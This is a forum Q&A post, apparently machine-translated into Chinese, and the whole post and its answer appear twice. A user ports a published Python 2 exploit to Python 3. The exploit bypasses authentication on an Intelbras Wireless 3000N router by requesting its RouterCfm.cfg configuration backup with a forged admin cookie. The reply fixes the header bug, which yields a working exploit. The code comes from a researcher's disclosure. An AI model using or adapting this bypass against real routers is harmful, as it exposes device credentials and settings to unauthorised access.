python 2x 到 python 3x 代码错误(绕过脚本)
python 2x to python 3x code errors (bypass script)
您好!我正在尝试复制脚本以绕过 intelbras 身份验证,但我看到的视频 (https://www.youtube.com/watch?v=wu2wwh_gsKA) 显示了一种旧方法,该代码仅适用于 python 2xx 版本:
import urllib2
import urllib
def crawl():
print ('[*] Tentando obter o backup sem Cookie!')
url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
rsp = urllib.urlopen(url)
html = rsp.read()
print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
def crawl_auth():
url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
req = urllib2.Request(url)
req.add_header('Cookie', 'language=pt; admin:language=pt')
rsp = urllib2.urlopen(req)
html = rsp.read()
print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
bkp = open('backup.cfg', 'w')
bkp.write(html)
bkp.close()
print ('[+] Download realizado com sucesso!')
print ('[+] Roteador Wireless Intelbras 3000N')
print ('[+] Pesquisador Victor Pasknel (Morphus Labs)')
crawl()
crawl_auth()
我正在尝试将代码转换为 python 3xx 版本:
from urllib.request import urlopen
import urllib
def crawl():
print ('[*] Tentando obter o backup sem Cookie!')
url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
rsp = urllib.request.urlopen(url)
html = rsp.read()
print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
def crawl_auth():
url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
#req = urllib.request(url)
#req.add_header('Cookie', 'language=pt; admin:language=pt')
rsp = urllib.request.urlopen(url)
request = urllib.request.Request(url, headers='Cookie; language=pt; admin:language=pt')
html = rsp.read()
print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
bkp = open('backup.cfg', 'w')
bkp.write(html)
bkp.close()
print ('[+] Download realizado com sucesso!')
print ('[+] Roteador Wireless Intelbras 3000N')
print ('[+] Pesquisador Victor Pasknel (Morphus Labs)')
crawl()
crawl_auth()
但我收到一条错误消息:
Traceback (most recent call last): File "HackIntelbras.py", line 25, in <module> crawl_auth() File "HackIntelbras.py", line 15, in crawl_auth request = urllib.request.Request(url, headers='Cookie; language=pt; admin:language=pt') File "C:\Python38\lib\urllib\request.py", line 334, in __init__ for key, value in headers.items(): AttributeError: 'str' object has no attribute 'items'
我的疑问是:如何或在哪里可以找到解决此问题的方法?如果有人可以帮助我,我不是想做坏事我只需要访问我的路由器进行配置,对于糟糕的英语或非常混乱的内容感到抱歉 post...这是我的第一个 post 这里
根据documentation,headers 参数应该是一个字典。所以,而不是 request = urllib.request.Request(url, headers='Cookie; language=pt; admin:language=pt')
,你应该有这样的东西:
request = urllib.request.Request(url, headers={"Cookie": "language=pt; admin:language=pt;"})
您好!我正在尝试复制脚本以绕过 intelbras 身份验证,但我看到的视频 (https://www.youtube.com/watch?v=wu2wwh_gsKA) 显示了一种旧方法,该代码仅适用于 python 2xx 版本:
import urllib2
import urllib
def crawl():
print ('[*] Tentando obter o backup sem Cookie!')
url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
rsp = urllib.urlopen(url)
html = rsp.read()
print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
def crawl_auth():
url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
req = urllib2.Request(url)
req.add_header('Cookie', 'language=pt; admin:language=pt')
rsp = urllib2.urlopen(req)
html = rsp.read()
print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
bkp = open('backup.cfg', 'w')
bkp.write(html)
bkp.close()
print ('[+] Download realizado com sucesso!')
print ('[+] Roteador Wireless Intelbras 3000N')
print ('[+] Pesquisador Victor Pasknel (Morphus Labs)')
crawl()
crawl_auth()
我正在尝试将代码转换为 python 3xx 版本:
from urllib.request import urlopen
import urllib
def crawl():
print ('[*] Tentando obter o backup sem Cookie!')
url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
rsp = urllib.request.urlopen(url)
html = rsp.read()
print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
def crawl_auth():
url = "http://10.0.0.1/cgi-bin/DownloadCfg/RouterCfm.cfg"
#req = urllib.request(url)
#req.add_header('Cookie', 'language=pt; admin:language=pt')
rsp = urllib.request.urlopen(url)
request = urllib.request.Request(url, headers='Cookie; language=pt; admin:language=pt')
html = rsp.read()
print ('[*] Codigo: %d - Tamanho: %d - URL: %s' % (rsp.code, len(html), url))
bkp = open('backup.cfg', 'w')
bkp.write(html)
bkp.close()
print ('[+] Download realizado com sucesso!')
print ('[+] Roteador Wireless Intelbras 3000N')
print ('[+] Pesquisador Victor Pasknel (Morphus Labs)')
crawl()
crawl_auth()
但我收到一条错误消息:
Traceback (most recent call last): File "HackIntelbras.py", line 25, in <module> crawl_auth() File "HackIntelbras.py", line 15, in crawl_auth request = urllib.request.Request(url, headers='Cookie; language=pt; admin:language=pt') File "C:\Python38\lib\urllib\request.py", line 334, in __init__ for key, value in headers.items(): AttributeError: 'str' object has no attribute 'items'
我的疑问是:如何或在哪里可以找到解决此问题的方法?如果有人可以帮助我,我不是想做坏事我只需要访问我的路由器进行配置,对于糟糕的英语或非常混乱的内容感到抱歉 post...这是我的第一个 post 这里
根据documentation,headers 参数应该是一个字典。所以,而不是 request = urllib.request.Request(url, headers='Cookie; language=pt; admin:language=pt')
,你应该有这样的东西:
request = urllib.request.Request(url, headers={"Cookie": "language=pt; admin:language=pt;"})